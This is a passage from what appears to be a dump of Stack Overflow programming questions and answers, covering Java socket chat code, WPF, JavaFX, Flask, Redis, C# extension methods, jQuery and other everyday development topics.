Client :</p> <pre><code>import java.net.*; import java.io.*; import java.util.*; class MyClient{ public static void main (String[] args){ Socket socket=null; try{ socket=new Socket(args[0],5008); System.out.println("server connected...."); ObjectInputStream ois=new ObjectInputStream(socket.getInputStream()); ObjectOutputStream oos=new ObjectOutputStream(socket.getOutputStream()); new ChatRoom(oos,ois).setVisible(true); System.out.println("Initiated...."); }catch(IOException e){ // System.exit(0); e.printStackTrace(); } } } </code></pre> <p>3). ClientListener :</p> <pre><code>import java.io.*; import java.util.*; import java.net.*; class ClientListener implements Runnable{ private Socket socket; ObjectOutputStream oos; ObjectInputStream ois; String uname; public ClientListener(Socket socket){ this.socket=socket; } public ClientListener(ObjectOutputStream oos, ObjectInputStream ois, String uname){ this.oos=oos; this.ois=ois; this.uname=uname; } public void run(){ Listen(); } private void Listen(){ while(true){ try{ String msg=(String)ois.readObject(); this.Write(msg,uname); }catch(IOException e){ //JOptionPane.showMessageDialog(this,e.getMessage()); }catch(ClassNotFoundException e){ //JOptionPane.showMessageDialog(this,e.getMessage()); } } } private void Write(String msg,String uname){ MyServer s=MyServer.getInstance(); s.broadcast(msg,uname); } public ObjectOutputStream getOOS(){ return this.oos; } public ObjectInputStream getOIS(){ return this.ois; } } </code></pre> <p>4). ChatRoom(GUI) for Clients:</p> <pre><code>import javax.swing.*; import java.awt.*; import java.io.*; import java.awt.event.*; class ChatRoom extends JFrame implements Runnable{ ObjectOutputStream oos; ObjectInputStream ois; JTextArea textArea; JTextField msgText; JButton sendButton; JMenuBar menubar; JMenu menu; ChatRoom(ObjectOutputStream oos, ObjectInputStream ois){ this.oos=oos; this.ois=ois; setSize(400,500); setResizable(false); setDefaultCloseOperation(3);//EXIT_ON_CLOSE setTitle("iChat"); textArea=new JTextArea(); textArea.setEditable(false); JScrollPane textPane=new JScrollPane(textArea); add("Center",textPane); JPanel southPane=new JPanel(new GridLayout(1,2)); msgText=new JTextField(); msgText.requestFocus(); msgText.addKeyListener(new KeyAdapter(){ public void keyReleased(KeyEvent evt){ if(evt.getKeyCode()==KeyEvent.VK_ENTER){ writeMessage(); } } }); southPane.add(msgText); sendButton=new JButton("Send"); sendButton.addActionListener(new ActionListener(){ public void actionPerformed(ActionEvent ect){ writeMessage(); } }); southPane.add(sendButton); add("South",southPane); new Thread(this).start(); } private void writeMessage(){ String msg=msgText.getText(); try{ oos.writeObject(msg); textArea.append("Me : "+msg+"\n"); }catch(IOException e){ JOptionPane.showMessageDialog(this,e.getMessage()); } msgText.setText(null); } public void run(){ while(true){ try{ String token=(String)ois.readObject(); int marker=token.indexOf(","); String msg=token.substring(0,marker); String uname=token.substring(marker); textArea.append(uname+" : "+msg+"\n"); }catch(IOException e){ JOptionPane.showMessageDialog(this,e.getMessage()); }catch(ClassNotFoundException e){ JOptionPane.showMessageDialog(this,e.getMessage()); } } } } </code></pre>
36040988	0	How to detect swipe gesture in mvvmcross <p>I am using <code>mvvmcross</code> pattern. I have a list of datasets. I am showing only one dataset on the view. When user swipes either left or right, then I need to reload the view to show corresponding dataset. </p> <p>My dataset is big (around 100), I am afraid to use <code>viewpager</code>, it might be an issue in terms of memory.</p> <p>I have used the following approach before <a href="http://stackoverflow.com/questions/4139288/android-how-to-handle-right-to-left-swipe-gestures">Android: How to handle right to left swipe gestures</a>, but I wonder how to detect/implement <code>swipe gesture</code> in <code>mvvmcross</code> ?</p>
23456461	0	javascript not counting properly <p>So I have a timer pretty much, but it doesnt count seconds, it just counts up but not in the same speed as a normal second. The application works just fine, but as i said, it counts but it doesnt count in real seconds. So question is how to change the speed. I'm also adding hundreth of a second to this. </p> <pre><code> Timer { id:ticker interval: 100; running: false; repeat: true; onTriggered: point.countIn() } </code></pre> <p>Display:</p> <pre><code>import QtQuick 2.1 Rectangle { id : display width : 320 ; height: 280 color: "#fff" function countIn() { if (seconds == 59) { seconds = 0; countOut(); } else seconds++; } function reset() { seconds = 0; } property int seconds signal countOut property int pointSize : 80 function formatOutput() { if (seconds &lt; 10) return '0' + seconds else return seconds } Text { text: formatOutput() font.pointSize: pointSize; font.bold: true font.family: "Courier" anchors.centerIn: parent } } </code></pre>
7648509	0	 <p>Your <code>DataGridTextColumn.ElementStyle</code> should be targetted to a <code>TextBlock</code> and <strong>NOT <code>TextBox</code></strong>.</p> <pre><code>&lt;Style TargetType="TextBlock" x:Key="TextBlockStyle"&gt; &lt;Setter Property="VerticalContentAlignment" Value="Center"/&gt; &lt;Setter Property="HorizontalContentAlignment" Value="Center"/&gt; &lt;/Style&gt; </code></pre> <p>Your <strong><code>DataGridTextColumn.EditingElementStyle</code></strong> should be the one that targets a <code>TextBox</code> (if your data grid or column is editable)</p> <p>(Simply because readonly text cell has TextBlock and text cell in edit mode has a TextBox in it)</p>
16556013	0	 <p>As also said in documentation, <a href="http://docs.jboss.org/hibernate/validator/4.2/api/org/hibernate/validator/constraints/NotBlank.html">@NotBlank</a> is for String type. There is no concept of java.util.Date being blank. It can be null or not null. </p> <blockquote> <p>Validate that the annotated string is not null or empty. The difference to NotEmpty is that trailing whitespaces are getting ignored.</p> </blockquote> <p>If goal is to check is value not null, <a href="http://docs.oracle.com/javaee/6/api/javax/validation/constraints/NotNull.html">@NotNull</a> should be used. According documentation:</p> <blockquote> <p>The annotated element must not be null. Accepts any type.</p> </blockquote>
18279035	0	 <p>You can try something like this:-</p> <pre><code>if [[ ${file: -3} == ".gz" ]] </code></pre>
18700478	0	Set Row Height in JavaFX TableView <p>How can I set row Height in JavaFX table View? I tried to increase it by using css but this didn't work:</p> <pre><code>.table-row{ line-height: 50px; } </code></pre> <p>Is there any other way to solve this?</p>
23256487	0	 <p>Log files don't have to contain only errors, but various types of messages. Those you pasted are debug messages. You could change <code>dev</code> environment configuration not to do it but I see no reason why would you. </p> <p>If you use your application in <code>prod</code> environment (without app_dev.php) debug messages won't be logged.</p>
7477075	0	 <p>Well, when I changed the application pool "Identity" user of my web application from ApplicationPoolIdentity to LocalSystem, it worked. I suppose I could have also changed the user in the service (Control Panel > Services > ANTS Performance Profiler 6 Service) to some other user and used that user.</p> <p><img src="https://i.stack.imgur.com/LXXMd.jpg" alt="enter image description here"></p> <p>But then I get another error. As Kip says in Napolean Dynamite, "I love technology." </p> <p><img src="https://i.stack.imgur.com/cdJUv.jpg" alt="enter image description here"></p> <p><strong>Stack Trace in Details window:</strong></p> <pre><code>Could not start w3wp as the specified user. Win32 error code: 87 RedGate.Profiler.Engine.Startup.IIS.IISException stack trace: at ..StartProfilingIIS(String , String ) at RedGate.Profiler.Engine.Startup.IIS.IISStarter`1.StartProfilingIIS(String currentUserName, String subprocessVariableValue) at System.Runtime.Remoting.Messaging.StackBuilderSink._PrivateProcessMessage(IntPtr md, Object[] args, Object server, Int32 methodPtr, Boolean fExecuteInContext, Object[]&amp; outArgs) at System.Runtime.Remoting.Messaging.StackBuilderSink.SyncProcessMessage(IMessage msg, Int32 methodPtr, Boolean fExecuteInContext) rethrown at [0]: at System.Runtime.Remoting.Proxies.RealProxy.HandleReturnMessage(IMessage reqMsg, IMessage retMsg) at System.Runtime.Remoting.Proxies.RealProxy.PrivateInvoke(MessageData&amp; msgData, Int32 type) at RedGate.Profiler.Engine.Startup.IIISActuator`1.StartProfilingIIS(String currentUserName, String subprocessVariableValue) </code></pre> <p><strong>After messing around with the error above for a bit, I tried unchecking this option, and it launched my default browser (which appears to be IE 9). Seems to be working now.</strong></p> <p><img src="https://i.stack.imgur.com/kft9N.jpg" alt="enter image description here"></p>
25448170	0	 <p>You still only have about 16 significant decimal digits; this means that only the first 16 or so digits of the output are correct; and all of the remaining digits are likely wildly incorrect, and are not actually stored as part of the double-precision number. This is why adding 1 to the number doesn't do anything -- it's a change to one of the <em>insignificant</em> digits that isn't actually recorded.</p>
18104603	0	 SA-MP (San Andreas Multiplayer) is a multiplayer mod for Grand Theft Auto San Andreas allowing users to play against each other over the internet or LAN. It makes use of the scripting language Pawn.
32599071	0	 <p>Your response is likely being treated as HTML by the browser, which collapses line breaks (among plenty of other things). If you want your file to be displayed as-is, set the parameter <code>mimetype='text/plain'</code> on your flask <code>Response</code> object before returning it:</p> <pre><code>return Response(content, mimetype='text/plain') </code></pre>
14481024	0	 <p>The values of the textbox is undefined - in PHP you are lookin for name_$i (with "_") and in javascript the names are without "_" (el.name = 'name' + i;)</p> <p>Also pay attention that in your javascript your loop starting from 1 (- in your php). The first client side row is comming from HTML but there you didn't put any index (name="name" instead of name="name_0"). It's better even not to fill the table with any row and just call the function (with i=0) when the page is loaded.</p>
18843962	0	 <p>By definition, <code>SELECT</code> without <code>ORDER BY</code> is not deterministic, and implementation dependent. Server can decide to deliver your results in any order it thinks more performant.</p> <p>For example, if you delete some rows and later insert another set of rows, server may reuse that hole to put new data, and this data may be later delivered by SELECT in physical order on disk, not in order of insertion.</p>
34182439	0	 <p>It may help to note that <code>comboPanel</code> is a <code>JPanel</code> having the default <code>FlowLayout</code>, which centers components based on the preferred sizes of the comboboxes. As a result, they "clump" together in the middle. Some alternatives:</p> <ul> <li><p>Specify a <code>GridLayout</code> having an extra column and use an empty component for the check column. The initial tableau will be aligned, although subsequent changes to the column widths will change that.</p> <pre><code>JPanel comboPanel = new JPanel(new GridLayout(0, annots.length + 1)); </code></pre></li> <li><p>Add a combobox to each relevant header using the approach shown <a href="http://stackoverflow.com/a/29963916/230513">here</a>, being mindful of the caveats adduced <a href="http://stackoverflow.com/a/7146216/230513">here</a>.</p></li> </ul>
23994234	0	How to terminate a server socket thread on timeout? <p>I'm using <code>Spring Integration</code> on the server side to offer a socket. The socket as a defined <code>soTimeout</code>, so that exceeding that timeout will close the current open socket connection to the client.</p> <pre><code>TcpConnectionFactoryFactoryBean fact = new TcpConnectionFactoryFactoryBean(); fact.setSoTimeout(timeout); </code></pre> <p>But the thread on the server side will continue. How can I force cancelation/termination of the server socket as well (maybe with an additional thread timeout, so that no thread can hang in the background by any issues)?</p>
2791244	0	 <p>Try adding <code>filetype plugin on</code> before <code>syntax on</code> in your .vimrc.</p>
14325496	0	 <p>Just tried it here, and I can't duplicate your experience. I'm guessing you have an unexpected or inconsistent view/controller hierarchy? Look at the controller of the table and scroll views' common superview. Anything fishy there? Remember: view controllers manage sets of <em>views</em>. Container view controllers manage other <em>view controllers</em> and have special rules (see: <a href="http://developer.apple.com/library/ios/#featuredarticles/ViewControllerPGforiPhoneOS/Introduction/Introduction.html" rel="nofollow">The View Controller Programming Guide</a>, esp. <code>-addChildViewController:</code>, etc.).</p> <p>I'd suggest opening a blank project and trying to recreate the problem in its simplest possible form. If it's magically fixed, what's different? If it's still giving you trouble, send us a link so we can see the details of how you have things wired. </p>
26132836	0	 <p>This is an issue with the simulator. On a device it'll work as expected.</p>
28954043	0	 <p>Your <code>ready</code> event is incorrect.<br> The recommended way is:</p> <pre><code>$(document).ready(...); </code></pre> <p>Or this: (though <strong>not</strong> recommended by jQuery)</p> <pre><code>$().ready(...); </code></pre> <p>Or:</p> <pre><code>$(function() { ... }); </code></pre> <p><a href="http://api.jquery.com/ready/" rel="nofollow">http://api.jquery.com/ready/</a></p>
2512704	0	 <p>Redis is not <em>usually</em> deployed as a "durable" datastore (in the sense of the "D" in ACID.), even with journaling. Most use cases intentionally sacrifice a little durability in return for speed.</p> <p>However, the "append only file" storage mode can optionally be configured to operate in a durable manner, at the cost of performance. It will have to pay for an <a href="http://en.wikipedia.org/wiki/Sync_%28Unix%29" rel="nofollow noreferrer">fsync()</a> on every modification. To configure this, set these two options in your .conf file:</p> <pre><code> appendonly yes appendfsync always </code></pre> <p>From the docs: <a href="http://code.google.com/p/redis/wiki/AppendOnlyFileHowto#How_durable_is_the_append_only_file?" rel="nofollow noreferrer">How durable is the append only file?</a></p> <blockquote> <p>Check redis.conf, you can configure how many times Redis will fsync() data on disk. There are three options:</p> <ul> <li>Fsync() every time a new command is appended to the append log file. Very very slow, very safe.</li> <li>Fsync() one time every second. Fast enough, and you can lose 1 second of data if there is a disaster. </li> <li>Never fsync(), just put your data in the hands of the Operating System. The faster and unsafer method.</li> </ul> </blockquote> <p><em>(Note that the default for appendfsync in the configuration file shipping with Redis post-2.0.0 is <code>everysec</code>, and not <code>always</code>.)</em></p>
34334752	0	 <p>For stuff like that, regular expressions are your friend:</p> <pre><code>String text = "Hello world #computerScience"; text = text.replaceAll("(#\\w+)", "ANSI_YELLOW$1ANSI_RESET"); // Hello world ANSI_YELLOW#computerScienceANSI_RESET String text = "Hello world #java #color #hashtag"; text = text.replaceAll("(#\\w+)", "ANSI_YELLOW$1ANSI_RESET"); // Hello world ANSI_YELLOW#javaANSI_RESET ANSI_YELLOW#colorANSI_RESET ANSI_YELLOW#hashtagANSI_RESET </code></pre>
14410056	0	Should I call File.Exists before calling File.Delete? <p>I have a <code>File.Delete</code> in my finally clause like so:</p> <pre><code>finally { //remove the temporary file if(File.Exists(transformedFile)) File.Delete(transformedFile); } </code></pre> <p>According to the <a href="http://msdn.microsoft.com/en-us/library/system.io.file.delete.aspx">C# documentation</a>, calling File.Delete on a nonexistent file will not throw any exceptions. </p> <p>Is it okay to remove the <code>File.Exists</code> wrapped, or will that expose me to possible additional exceptions?</p>
17227875	0	How to put animate heading and image with wowslider <p>I'm trying to user Wow slider to create a carousel. Right now I'm only able to fadein/fadeout 3 images with it. What I want to do is also have a heading and a smaller image to animate on top of each of those 3 images. </p> <p>For example, when a user clicks 'next', the current image fades out and the next image fades in. At this point I want a heading to slide from the right and another smaller image to fade in; each in their own positions.</p> <p>Basically, I want something like this: <a href="http://cleancanvas.herokuapp.com/" rel="nofollow">http://cleancanvas.herokuapp.com/</a></p> <p>Can you please help me with this, as my experience with jquery or plugins is really limited.</p> <p>Thank you very much.</p>
34087329	0	Categorical and ordinal feature data representation in regression analysis? <p>I am trying to fully understand difference between categorical and ordinal data when doing regression analysis. For now, what is clear:</p> <p><strong>Categorical feature and data example:</strong><br> Color: red, white, black <br> Why categorical: <code>red &lt; white &lt; black</code> is logically <strong>incorrect</strong></p> <p><strong>Ordinal feature and data example:</strong><br> Condition: old, renovated, new <br> Why ordinal: <code>old &lt; renovated &lt; new</code> is logically <strong>correct</strong></p> <p><strong>Categorical-to-numeric and ordinal-to-numeric encoding methods: <br></strong> One-Hot encoding for categorical data <br> Arbitrary numbers for ordinal data</p> <p><strong>Categorical data to numeric:</strong></p> <pre><code>data = {'color': ['blue', 'green', 'green', 'red']} </code></pre> <p>Numeric format after One-Hot encoding:</p> <pre><code> color_blue color_green color_red 0 1 0 0 1 0 1 0 2 0 1 0 3 0 0 1 </code></pre> <p><strong>Ordinal data to numeric:</strong></p> <pre><code>data = {'con': ['old', 'new', 'new', 'renovated']} </code></pre> <p>Numeric format after using mapping: Old &lt; renovated &lt; new → 0, 1, 2</p> <pre><code>0 0 1 2 2 2 3 1 </code></pre> <p>In my data I have 'color' feature. As color changes from white to black price increases. From above mentioned rules I probably have to use one-hot encoding for categorical 'color' data. But why I cannot use ordinal representation. Below I provided my observations from where my question arised.</p> <p>Let me start with introducing formula for linear regression: <a href="https://i.stack.imgur.com/mbiK6.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/mbiK6.jpg" alt="enter image description here"></a> <br>Let have a look at data representations for color: <a href="https://i.stack.imgur.com/Veb54.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Veb54.jpg" alt="enter image description here"></a> Let's predict price for 1-st and 2-nd item using formula for both data representations:<br> <strong>One-hot encoding:</strong> In this case different thetas for different colors will exist. I assume that thetas already derived from regression (20, 50 and 100). Prediction will be: </p> <pre><code>Price (1 item) = 0 + 20*1 + 50*0 + 100*0 = 20$ (thetas are assumed for example) Price (2 item) = 0 + 20*0 + 50*1 + 100*0 = 50$ </code></pre> <p><strong>Ordinal encoding for color:</strong> In this case all colors will have 1 common theta but my assigned multipliers (10, 20, 30) differ:</p> <pre><code>Price (1 item) = 0 + 20*10 = 200$ (theta assumed for example) Price (2 item) = 0 + 20*20 = 400$ (theta assumed for example) </code></pre> <p>In my model White &lt; Red &lt; Black in prices. Seem to be that correlation works correctly and it is logical predictions in both cases. For ordinal and categorical representations. So I can use any encoding for my regression regardless of the data type (categorical or ordinal)? This division in data representations is just a matter of conventions and software-oriented representations rather than a matter of regression logic itself?</p>
34438542	0	 <p>As alternative you can use <em>Retrofit</em>.</p> <p>You can specify a call like this:</p> <pre><code>@Multipart @POST("/user/photo") Call&lt;User&gt; updateUser(@Part("photo") RequestBody photo, @Part("description") RequestBody description); </code></pre> <p>then create it like this:</p> <pre><code>Retrofit retrofit = new Retrofit.Builder() .baseUrl("https://api.github.com") .build(); GitHubService service = retrofit.create(GitHubService.class); </code></pre> <p>and finally execute it like this:</p> <p><code>service.updateUser(Photo, description).enqueue()</code> --> <strong>asynchronous</strong></p> <p><code>service.updateUser(Photo, description).execute()</code> --> <strong>synchronous</strong></p> <p>See the documentation <a href="http://square.github.io/retrofit/" rel="nofollow">here</a></p>
5344542	0	 <p>Use this html tag </p> <pre><code>align="center" </code></pre> <p>center can be substituted for left or right if you want not to position them on the center</p> <p>The proper way to do it is by linking your html to a CSS file and assign each div to a certain type of class in the CSS file, this helps you avoid redundancy. To do so create a css file and link it to the html by including this in your html code </p> <pre><code>&lt;head&gt; &lt;link rel="stylesheet" type="text/css" href="mystyle.css" /&gt; &lt;/head&gt; </code></pre> <p>And then in your mystyle.css file you would have to include something like this</p> <pre><code>DIV.Left{text-align:left;} DIV.Center{text-align:center;} DIV.Right{text-align:right;} </code></pre> <p>Then your html file divs would look like</p> <pre><code>&lt;div class="left"&gt;&lt;/div&gt; &lt;div class="center"&gt;&lt;/div&gt; &lt;div class="right"&gt;&lt;/div&gt; </code></pre>
14482392	0	 <p>wrap your two commands in function so you will have just one call ?</p> <pre><code>function add-log{ (param $txt) $DateTime = get-date | select -expand datetime Add-Content $LogFile -Value "$DateTime: $txt" } </code></pre>
26374998	0	 <p>You may want to use a different event that satisfies your condition:</p> <p>SplitContainer Class: <a href="http://msdn.microsoft.com/en-us/library/system.windows.forms.splitcontainer(v=vs.110).aspx" rel="nofollow">MSDN</a> SplitContainer Event: <a href="http://msdn.microsoft.com/en-us/library/system.windows.forms.control.onmouseclick(v=vs.110).aspx" rel="nofollow">OnMouseClick</a></p> <p>try subscribing to that event if you want it to be fired on click only, also, if you want to unsubscribe to an event, use the <strong>-=</strong> tag.</p>
37436717	0	Binding data to grid view <p>Trying to bind a table to data grid. I dont see why the following code is not working. </p> <pre><code>private void Form1_Load(object sender, EventArgs e) { SqlConnection sqlConn = new SqlConnection("MyConnectionString"); string select = "SELECT CategoryId, CategoryName, Description FROM dbo.Categories"; SqlDataAdapter dataAdapter = new SqlDataAdapter(select, sqlConn); SqlCommandBuilder commandBuilder = new SqlCommandBuilder(dataAdapter); DataTable dt = new DataTable(); dt.Locale = System.Globalization.CultureInfo.InvariantCulture; dataAdapter.Fill(dt); dataGridView1.ReadOnly = true; //dataGridView1.DataSource = dt; dataGridView1.DataSource = northwindDataSetBindingSource; dataGridView1.AutoResizeColumns( DataGridViewAutoSizeColumnsMode.AllCellsExceptHeader); } </code></pre>
18786295	0	 <p>It looks that you have just many php scripts without one cetral that manage the other scripts. So you have to start every script with </p> <pre><code>&lt;?php session_start(); ... </code></pre> <p>Or the session will not work properly.</p>
31256206	0	C++ memory alignment <p>So I read that when variables are declared in c++ if you want to get the optimum cache reads the memory should stick to its natural alignment. Example:</p> <pre><code>int a; // memory address should end in 0x0,0x4,0x8,0xC int b[2]; // 8 bytes 0x0,0x8 int b[4]; // 16 bytes 0x0 </code></pre> <p>But in practice these variables do not follow the "natural alignment" rules, a 16 byte variable was residing at a memory address that ended in 0xC. Why is this ?</p>
28668365	0	Initialize a class property <p>Is there a way to initialize a PHP class property from another class property? I have a series of properties I'd like to depend upon each other for easy modification of the root value:</p> <p></p> <pre><code>class Anon { private static $a = 5; private static $b = '+' . (2 * self::$a); } </code></pre> <p>However, this causes a syntax error. I've had trouble searching for this, but I haven't seen anybody trying to do this!</p>
21302020	0	using jquery minicolors in angular.js <p>I am trying to incorporate jquery minicolors in an angular directive.The directive is binded to a textbox with ngModel. When I type the color code,the changed value is detected by the watch,but when I select it using colorpicker,the value is not reflected in the scope variable.Can any one tell me what am I doing wrong?</p> <pre><code>&lt;input minicolors="colorPickerSettings" type="text" data-ng-model="category.ToBeConfirmedEventColor"&gt; angular. module('myApp', []) .directive('minicolors', function () { return { require: 'ngModel', restrict: 'A', link: function (scope, element, attrs, ngModel) { //gets the settings object var getSettings = function () { return angular.extend({}, scope.$eval(attrs.minicolors)); }; //init method var initMinicolors = function () { // debugger if (!ngModel) { return; } var settings = getSettings(); //initialize the starting value, if there is one ngModel.$render = function () { if (!scope.$$phase) { //not currently in $digest or $apply scope.$apply(function () { var color = ngModel.$viewValue; element.minicolors('value', color); }); } }; // If we don't destroy the old one it doesn't update properly when the config changes element.minicolors('destroy'); // Create the new minicolors widget element.minicolors(settings); // Force a render to override whatever is in the input text box ngModel.$render(); }; // Watch model for changes and then call init method again if any change occurs scope.$watch(getSettings, initMinicolors, true); } }; }); </code></pre>
2065439	0	 <pre><code>$sxe-&gt;addChild("date", $date); </code></pre>
38704327	0	 <p>var questionID = $(this)[0].id </p> <p>This worked for me! </p>
23340283	0	 <p>Are you meaning that you want the text values of all checked checkboxes, or the text value of every checkbox, or...?</p> <p>Either way, you want to iterate through the Page's Controls collection to find all controls that have a type of Checkbox and then use that to get their text values (and you can limit whether you want to include checked boxes or not in that iteration). And, yes, using a List might be easier than starting with an array, because you can easily add to a List&lt;> and then transform it into an array with little pain.</p>
10722948	0	 <p>You could use background subtraction. This would involve having the empty car park image as your background and then doing a comparison of the changes between that and any subsequent images. If you are looking at car parking spaces then you would want to split the image up into sectors(car park spaces) and do the background subtraction per sector. However due to constant changes in lighting of the carpark as the sun moves you are going to run into issues where the background image will change due to shadows, brightness,etc. An approach to handle this is to do frame by frame comparisons and if it changes by a certain threshold then it is most likely a car has parked rather than the sun has moved as the car will cause a much higher amount of change in a short space of time than the effects of lighting will.</p>
12721334	0	How to set all pages of a subdomain to redirect to a single page? <p>Let's say my domain name is <strong>website123.com</strong> and I have a subdomain of <strong>my.website123.com</strong></p> <p>I've deleted the "my" subdomain from the site and want to make sure that anyone that goes to any page with a my.website123.com URL is redirected to the main www.website123.com URL. The "my" subdomain has a ton of pages of it, so I need to make sure that regardless of which page a user goes to on the "my" subdomain, that they're redirected to the site's main index page.</p> <p>I was thinking to get this accomplished through .htaccess - is that the best way? If yes how?</p>
21862704	0	 <p>It sounds like you want to use something like <a href="https://github.com/onevcat/VVDocumenter-Xcode" rel="nofollow">VVDocumenter</a>. </p> <p>From their Github page:</p> <blockquote> <p>Writing document is so important for developing, but it is really painful with Xcode. Think about how much time you are wasting in pressing '*' or '/', and typing the parameters again and again. Now, you can find the method (or any code) you want to document to, and type in ///, the document will be generated for you and all params and return will be extracted into a Javadoc style, which is compatible with appledoc, Doxygen and HeaderDoc. You can just fill the inline placeholder tokens to finish your document.</p> </blockquote>
32064909	0	 <p>Add new <code>static</code> class and define your extension methods inside it. Check out <a href="https://msdn.microsoft.com/en-IN/library/bb383977.aspx">MSDN documentation</a> for Extension methods.</p> <pre><code> namespace TrendsTwitterati { public partial class Default: System.Web.UI.Page { } public static class MyExtensions { public static IEnumerable &lt; TSource &gt; DistinctBy &lt; TSource, TKey &gt; (this IEnumerable &lt; TSource &gt; source, Func &lt; TSource, TKey &gt; keySelector) { HashSet &lt; TKey &gt; seenKeys = new HashSet &lt; TKey &gt; (); foreach(TSource element in source) { if (seenKeys.Add(keySelector(element))) { yield return element; } } } } } </code></pre>
39736461	0	 <p>The easiest way to compare json strings is using <code>JSONCompare</code> from <a href="https://github.com/skyscreamer/JSONassert" rel="nofollow">JSONAssert</a> library. The advantage is, it's not limited to structure only and can compare values if you wish:</p> <pre><code>JSONCompareResult result = JSONCompare.compareJSON(json1, json2, JSONCompareMode.STRICT); System.out.println(result.toString()); </code></pre> <p>which will output something like:</p> <pre><code>Expected: VALUE1 got: VALUE2 ; field1.field2 </code></pre>
32851883	0	How can I show items specific to a selected dropdown option? <p>I have a dropdown list of games, and depending on which game you select, it should show a list of things I need to do for that game. My problem is getting the list to show the steps for only the currently selected game. Can this be done with ng-model, will I need to use functions, or is there an even simpler way to do this? </p> <p>Also, is there any information I've included in my sample that would become redundant after utilizing provided suggestions?</p> <p><strong>HTML</strong></p> <pre><code>&lt;select&gt; &lt;option ng-repeat="game in things.toBeat"&gt;{{ game.title }}&lt;/option&gt; &lt;/select&gt; &lt;ul&gt; &lt;li ng-repeat="step in things.toDo"&gt;{{ step.todo }}&lt;/li&gt; &lt;/ul&gt; </code></pre> <p><strong>JS</strong></p> <pre><code>var games = [ { "id" : "0", "title" : "Super Mario Bros." }, { "id" : "1", "title" : "Pac-man" } ]; var todos = [ { "gameID" : "0", "todo" : "Collect coins" }, { "gameID" : "0", "todo" : "Rescue princess" }, { "gameID" : "1", "todo" : "Eat dots" }, { "gameID" : "1", "todo" : "Eat fruit" } ]; $scope.things = { "toBeat" : games, "toDo" : todos }; </code></pre>
19250774	0	 <p>Have you considered using the <a href="http://msdn.microsoft.com/en-us/library/system.web.httpserverutility.transfer%28v=vs.100%29.aspx" rel="nofollow">Server.Transfer</a> to redirect the query to the required url?</p> <p>Simply use</p> <pre><code>Server.Transfer("Page2.aspx", true); </code></pre>
33469734	0	 <p>The format file is describing the source data not the destination. When you use <code>-c</code> or <code>datafiletype='char'</code> your input datatypes must be SQLCHAR. Native datatypes are only valid when using <code>-n</code> or <code>datafiletype='native'</code>. A source file in native format is always binary so bcp needs to know the data type of each field in order to read the correct amount of bytes and interpret them correctly.</p>
33282395	0	 <p>It seems that what you want to do is to split that Comment column into it's on data stream?</p> <p>After the transpose, you can crosstab into a form that contains the products as headers and the dates and comments as individual rows. Then a filter can pull the comment row out. A sort on the Name field would also let you grab the last row in that dataset to know which one was the last date.</p> <p>For the crosstab:<br> - Grouping Fields: Name<br> - Header Field: Product<br> - Data Field: Value</p> <p>Methodologies: Concatenate</p>
885727	0	 <p>Be careful about assuming that int operations are always faster than float operations. In isolation they may be, but <a href="http://assemblyrequired.crashworks.org/2009/01/12/why-you-should-never-cast-floats-to-ints/" rel="nofollow noreferrer">moving data between a float register and an int register is shockingly slow on modern processors</a>. So once your data is on a float, you should keep it on a float for further computation.</p>
11836093	0	 <p>I am going to take the lack of responses as an implicit 'no'. If anyone is interested, I am planning my own postgres spin off with dynamic multi-peer replication support within the next year.</p>
21894655	0	 <p>To complement the answer from Seyyed, and assuming these files are not too big: </p> <p>You can have one kml file for each area, and then build a simple "global" file, referencing all these area files with a "NetworkLink" (look at to KML Reference if needed for the syntax). </p>
12528369	0	node.js return to client waiting for event <p>I'm playing around a bit with the concept of Comet on node.js, but I'm still a bit confused and I'm wondering if anyone here can point me in the right direction.</p> <p>Think on a game app where client code should ask for it's turn to make a move (for example on a chess app). What I'm thinking here is in use something like this:</p> <p>When match starts a method on the node server is called to create an element on a matches array with the id of the match and the initial player.</p> <p>When a player makes a move a method is called to update the current player on the array element referencing this match. This method should fire an event when the change occurs.</p> <p>Before being able to make any move, client code should call a method on the server that checks if it's the turn of the user and that waits for the changing player event if wasn't it's turn.</p> <p>I'm not sure if this is a good approach within the event loop, and if it is I don't see how can I make the method to wait until event to return.</p> <p>Any suggestions?</p>
3263381	0	Check if jQuery or mooTools are loaded <p>In my project I am using <code>jQuery</code> in client side and <code>mooTools</code> in admin side. I would like to be able to write some part of code (google maps functions, etc) which will be common for both of that libraries.</p> <p>Is it possible to check if <code>jQuery</code> or <code>mooTools</code> libraries are loaded and use proper behaviours ?</p> <p><code>$(document).ready(function() {});</code> or <code>window.addEvent('domready', function(){});</code></p> <p><code>$('#id');</code> or <code>$('id');</code></p> <p><code>$('googleMapLocalize').addEvent('click', function(){});</code> or <code>$('googleMapLocalize').bind('click', function(){});</code></p> <p>What is the best way ?</p>
38294114	0	How can I cause visual studio to automatically include a using statement like using System.Diagnostics, in every project? <p>How can I cause visual studio to automatically include a using statement like using System.Diagnostics, in every project?</p> <p>I've been developing winforms applications and console applications and would like System.Diagnostics to be imported automatically with a using statement so I don't have to manually put the using statement in.</p> <p>How can I do that?</p>
23639763	0	 <p>The problem is that you recreating your modalVC before you presenting it.</p> <p>EX: What you're doing</p> <pre><code>-(IBAction)presentModalVC:(id *)sender{ ModalVC *modalVC = [self.storyboard instantiateViewControllerWithIdentifier:@"modal"]; [self presentViewController:modalVC animated:YES completion:nil]; } </code></pre> <p>What you need to do:</p> <p>create property of your modalVC and initialize it in <code>viewDidLoad</code> method</p>
2694268	0	 <p>You can create your own custom controls, inheriting from TextBox, for example. Create properties that store data in the ViewState. That is the fastest and simplest way for me to achieve the result you're needing.</p>
37597526	0	In jvectormap is there a way to show individual us states on page load? <p>I am new to using jvectormap. I was wondering if there was a way to show individual US states on page load? I have USA drill down map working but need to be able to show specific states such as Colorado for example without having to zoom in from the larger map of the USA. I know there are ways to create your own individual state maps from vector files but just thought I would ask here to see if it was possible to do that using the map that jvector provides for the US before I went through that process. Any help is much appreciated. (I do have the individual state map js files that have county infomation but have not yet figured out how to use them.)</p> <p>Below is the script I am using that is currently showing the default US map for drilling down to specific states:</p> <pre><code>$(function () { var map1; new jvm.MultiMap({ container: $('#map1'), maxLevel: 1, mapUrlByCode: function (code, multiMap) { return 'assets/us/jquery-jvectormap-data-' + code.toLowerCase() + '-' + multiMap.defaultProjection + '-en.js'; }, main: { map: 'us_lcc_en' } }); }); </code></pre>
